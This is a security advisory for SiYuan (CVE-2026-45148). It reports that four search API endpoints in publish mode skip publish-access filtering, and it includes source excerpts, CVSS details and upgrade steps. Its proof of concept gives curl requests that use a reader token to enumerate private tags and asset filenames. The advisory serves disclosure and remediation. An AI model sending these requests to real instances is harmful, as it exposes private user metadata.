GHSA-fmh9-gpqh-g53g CVE-2026-45148 GO-2026-5370
SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode
- Severity
- 4.3 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.22%
- Chance of exploitation in the next 30 days. Higher than 12.72% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
0.0.0-20260512140701-d7b77d945e0d- Upgrade github.com/siyuan-note/siyuan/kernel to this version or later
Description
Summary
The advisory GHSA-c77m-r996-jr3q patched getBookmark so that, when invoked by a publish-mode RoleReader, results are filtered through FilterBlocksByPublishAccess to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.
Details
Affected files / lines (v3.6.5):
kernel/api/router.go:181-190 — all four endpoints registered with CheckAuth only, which the publish-service RoleReader JWT passes:
ginServer.Handle("POST", "/api/search/searchTag", model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget", model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset", model.CheckAuth, searchAsset)
kernel/api/search.go — none of the four handlers branches on model.IsReadOnlyRoleContext(c) to filter the response, while their peers in the same file do. Compare:
// :29-65 listInvalidBlockRefs — DOES filter:
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
// :67-93 getAssetContent — DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent — DOES filter
// :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess)
// :156-176 searchAsset — does NOT filter
ret.Data = model.SearchAssetsByName(k, exts)
// :178-196 searchTag — does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}
// :198-213 searchWidget — does NOT filter
widgets := model.SearchWidget(keyword)
// :233-248 searchTemplate — does NOT filter
templates := model.SearchTemplate(keyword)
model.SearchAssetsByName, model.SearchTags, model.SearchWidget, model.SearchTemplate operate over the entire workspace database / filesystem, not just the publish-visible subset. A FilterTagsByPublishIgnore helper already exists in kernel/model/ and is used by getTag itself (kernel/api/tag.go:58-62), confirming the maintainers' intent.
PoC
End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a RoleReader JWT from the publish reverse-proxy (per kernel/server/proxy/publish.go). Once authenticated as the Reader against the publish port:
# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
-H 'Authorization: Bearer <reader-jwt>' \
-H 'Content-Type: application/json' \
-d '{"k":""}'
# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
-H 'Authorization: Bearer <reader-jwt>' \
-H 'Content-Type: application/json' \
-d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchWidget -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'
Each call returns the global result set without applying FilterTagsByPublishIgnore / FilterAssetContentByPublishAccess / equivalent.
In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.
Impact
A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:
- All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers.
- All asset filenames uploaded to the workspace — frequently contains the contents of
CV.pdf,contract.docx,salary-2026.xlsx, etc. - All widget names and template names installed in the workspace.
This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | < 0.0.0-20260512140701-d7b77d945e0d |
0.0.0-20260512140701-d7b77d945e0d |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260512140701-d7b77d945e0d
- go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260512140701-d7b77d945e0d && go mod tidy
Severity breakdown
CVSS 3.1 4.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xp3q-r38w-vgqm SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-9cqf-hhrq-7v45 SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-57v5-wqx3-cgj4 SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-4wwp-f6gw-6qm5 SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-3cm4-ccvw-6xr6 SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/* | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-x8gv-g2g3-65fj SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-p23f-cm6q-2qp8 SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass) | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-rpx2-p6hp-x5gj SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor